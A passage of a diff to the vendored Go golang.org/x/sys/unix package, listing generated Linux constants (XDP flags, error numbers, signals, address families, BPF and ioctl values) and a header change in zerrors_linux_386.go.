-+ WIN_VERIFY_ONCE = 0x41
-+ WIN_WRITE = 0x30
-+ WIN_WRITEDMA = 0xca
-+ WIN_WRITEDMA_EXT = 0x35
-+ WIN_WRITEDMA_ONCE = 0xcb
-+ WIN_WRITEDMA_QUEUED = 0xcc
-+ WIN_WRITEDMA_QUEUED_EXT = 0x36
-+ WIN_WRITE_BUFFER = 0xe8
-+ WIN_WRITE_EXT = 0x34
-+ WIN_WRITE_LONG = 0x32
-+ WIN_WRITE_LONG_ONCE = 0x33
-+ WIN_WRITE_ONCE = 0x31
-+ WIN_WRITE_SAME = 0xe9
-+ WIN_WRITE_VERIFY = 0x3c
-+ WNOHANG = 0x1
-+ WNOTHREAD = 0x20000000
-+ WNOWAIT = 0x1000000
-+ WSTOPPED = 0x2
-+ WUNTRACED = 0x2
-+ XATTR_CREATE = 0x1
-+ XATTR_REPLACE = 0x2
-+ XDP_COPY = 0x2
-+ XDP_FLAGS_DRV_MODE = 0x4
-+ XDP_FLAGS_HW_MODE = 0x8
-+ XDP_FLAGS_MASK = 0xf
-+ XDP_FLAGS_MODES = 0xe
-+ XDP_FLAGS_SKB_MODE = 0x2
-+ XDP_FLAGS_UPDATE_IF_NOEXIST = 0x1
-+ XDP_MMAP_OFFSETS = 0x1
-+ XDP_OPTIONS = 0x8
-+ XDP_OPTIONS_ZEROCOPY = 0x1
-+ XDP_PACKET_HEADROOM = 0x100
-+ XDP_PGOFF_RX_RING = 0x0
-+ XDP_PGOFF_TX_RING = 0x80000000
-+ XDP_RING_NEED_WAKEUP = 0x1
-+ XDP_RX_RING = 0x2
-+ XDP_SHARED_UMEM = 0x1
-+ XDP_STATISTICS = 0x7
-+ XDP_TX_RING = 0x3
-+ XDP_UMEM_COMPLETION_RING = 0x6
-+ XDP_UMEM_FILL_RING = 0x5
-+ XDP_UMEM_PGOFF_COMPLETION_RING = 0x180000000
-+ XDP_UMEM_PGOFF_FILL_RING = 0x100000000
-+ XDP_UMEM_REG = 0x4
-+ XDP_UMEM_UNALIGNED_CHUNK_FLAG = 0x1
-+ XDP_USE_NEED_WAKEUP = 0x8
-+ XDP_ZEROCOPY = 0x4
-+ XENFS_SUPER_MAGIC = 0xabba1974
-+ XFS_SUPER_MAGIC = 0x58465342
-+ Z3FOLD_MAGIC = 0x33
-+ ZONEFS_MAGIC = 0x5a4f4653
-+ ZSMALLOC_MAGIC = 0x58295829
-+)
-+
-+// Errors
-+const (
-+ E2BIG = syscall.Errno(0x7)
-+ EACCES = syscall.Errno(0xd)
-+ EAGAIN = syscall.Errno(0xb)
-+ EBADF = syscall.Errno(0x9)
-+ EBUSY = syscall.Errno(0x10)
-+ ECHILD = syscall.Errno(0xa)
-+ EDOM = syscall.Errno(0x21)
-+ EEXIST = syscall.Errno(0x11)
-+ EFAULT = syscall.Errno(0xe)
-+ EFBIG = syscall.Errno(0x1b)
-+ EINTR = syscall.Errno(0x4)
-+ EINVAL = syscall.Errno(0x16)
-+ EIO = syscall.Errno(0x5)
-+ EISDIR = syscall.Errno(0x15)
-+ EMFILE = syscall.Errno(0x18)
-+ EMLINK = syscall.Errno(0x1f)
-+ ENFILE = syscall.Errno(0x17)
-+ ENODEV = syscall.Errno(0x13)
-+ ENOENT = syscall.Errno(0x2)
-+ ENOEXEC = syscall.Errno(0x8)
-+ ENOMEM = syscall.Errno(0xc)
-+ ENOSPC = syscall.Errno(0x1c)
-+ ENOTBLK = syscall.Errno(0xf)
-+ ENOTDIR = syscall.Errno(0x14)
-+ ENOTTY = syscall.Errno(0x19)
-+ ENXIO = syscall.Errno(0x6)
-+ EPERM = syscall.Errno(0x1)
-+ EPIPE = syscall.Errno(0x20)
-+ ERANGE = syscall.Errno(0x22)
-+ EROFS = syscall.Errno(0x1e)
-+ ESPIPE = syscall.Errno(0x1d)
-+ ESRCH = syscall.Errno(0x3)
-+ ETXTBSY = syscall.Errno(0x1a)
-+ EWOULDBLOCK = syscall.Errno(0xb)
-+ EXDEV = syscall.Errno(0x12)
-+)
-+
-+// Signals
-+const (
-+ SIGABRT = syscall.Signal(0x6)
-+ SIGALRM = syscall.Signal(0xe)
-+ SIGFPE = syscall.Signal(0x8)
-+ SIGHUP = syscall.Signal(0x1)
-+ SIGILL = syscall.Signal(0x4)
-+ SIGINT = syscall.Signal(0x2)
-+ SIGIOT = syscall.Signal(0x6)
-+ SIGKILL = syscall.Signal(0x9)
-+ SIGPIPE = syscall.Signal(0xd)
-+ SIGQUIT = syscall.Signal(0x3)
-+ SIGSEGV = syscall.Signal(0xb)
-+ SIGTERM = syscall.Signal(0xf)
-+ SIGTRAP = syscall.Signal(0x5)
-+)
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_386.go b/vendor/golang.org/x/sys/unix/zerrors_linux_386.go
-index 33ced1ae..028c9d87 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_386.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_386.go
-@@ -3,7 +3,7 @@
-
- // +build 386,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include -m32 _const.go
-
- package unix
-@@ -11,1868 +11,487 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x80041270
-- BLKBSZSET = 0x40041271
-- BLKFLSBUF = 0x1261
-- BLKFRAGET = 0x1265
-- BLKFRASET = 0x1264
-- BLKGETSIZE = 0x1260
-- BLKGETSIZE64 = 0x80041272
-- BLKPBSZGET = 0x127b
-- BLKRAGET = 0x1263
-- BLKRASET = 0x1262
-- BLKROGET = 0x125e
-- BLKROSET = 0x125d
-- BLKRRPART = 0x125f
-- BLKSECTGET = 0x1267
-- BLKSECTSET = 0x1266
-- BLKSSZGET = 0x1268
-- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x800
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
-- FFDLY = 0x8000
-- FLUSHO = 0x1000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0xc
-- F_GETLK64 = 0xc
-- F_GETOWN = 0x9
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0xd
-- F_SETLK64 = 0xd
-- F_SETLKW = 0xe
-- F_SETLKW64 = 0xe
-- F_SETOWN = 0x8
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x8000
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x800
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
